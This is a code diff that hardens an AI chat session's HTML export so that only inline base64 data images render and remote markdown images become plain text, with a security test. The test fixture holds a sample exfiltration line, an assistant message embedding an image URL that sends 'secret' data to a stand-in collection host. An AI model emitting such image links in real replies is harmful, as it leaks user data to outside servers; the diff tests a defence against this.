fix: flatten remote markdown images

src/auto-reply/reply/export-html/template.js

@@ -1712,6 +1712,22 @@
     return text.replace(/<(?=[a-zA-Z/])/g, "&lt;");
   }
 
+  const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i;
+
+  function normalizeMarkdownImageLabel(text) {
+    const trimmed = typeof text === "string" ? text.trim() : "";
+    return trimmed || "image";
+  }
+
+  function renderMarkdownImage(token) {
+    const label = normalizeMarkdownImageLabel(token?.text);
+    const href = typeof token?.href === "string" ? token.href.trim() : "";
+    if (!INLINE_DATA_IMAGE_RE.test(href)) {
+      return escapeHtml(label);
+    }
+    return `<img src="${escapeHtml(href)}" alt="${escapeHtml(label)}">`;
+  }
+
   // Configure marked with syntax highlighting and HTML escaping for text
   marked.use({
     breaks: true,
@@ -1750,6 +1766,9 @@
       html(token) {
         return escapeHtml(token.text);
       },
+      image(token) {
+        return renderMarkdownImage(token);
+      },
     },
   });
 

src/auto-reply/reply/export-html/template.security.test.ts

@@ -250,4 +250,38 @@ describe("export html security hardening", () => {
     expect(img?.getAttribute("onerror")).toBeNull();
     expect(img?.getAttribute("src")).toBe("data:application/octet-stream;base64,AAAA");
   });
+
+  it("flattens remote markdown images but keeps data-image markdown", () => {
+    const dataImage = "data:image/png;base64,AAAA";
+    const session: SessionData = {
+      header: { id: "session-4", timestamp: now() },
+      entries: [
+        {
+          id: "1",
+          parentId: null,
+          timestamp: now(),
+          type: "message",
+          message: {
+            role: "assistant",
+            content: [
+              {
+                type: "text",
+                text: `Leak:\n\n![exfil](https://example.com/collect?data=secret)\n\n![pixel](${dataImage})`,
+              },
+            ],
+          },
+        },
+      ],
+      leafId: "1",
+      systemPrompt: "",
+      tools: [],
+    };
+
+    const { document } = renderTemplate(session);
+    const messages = document.getElementById("messages");
+    expect(messages).toBeTruthy();
+    expect(messages?.querySelector('img[src^="https://"]')).toBeNull();
+    expect(messages?.textContent).toContain("exfil");
+    expect(messages?.querySelector(`img[src="${dataImage}"]`)).toBeTruthy();
+  });
 });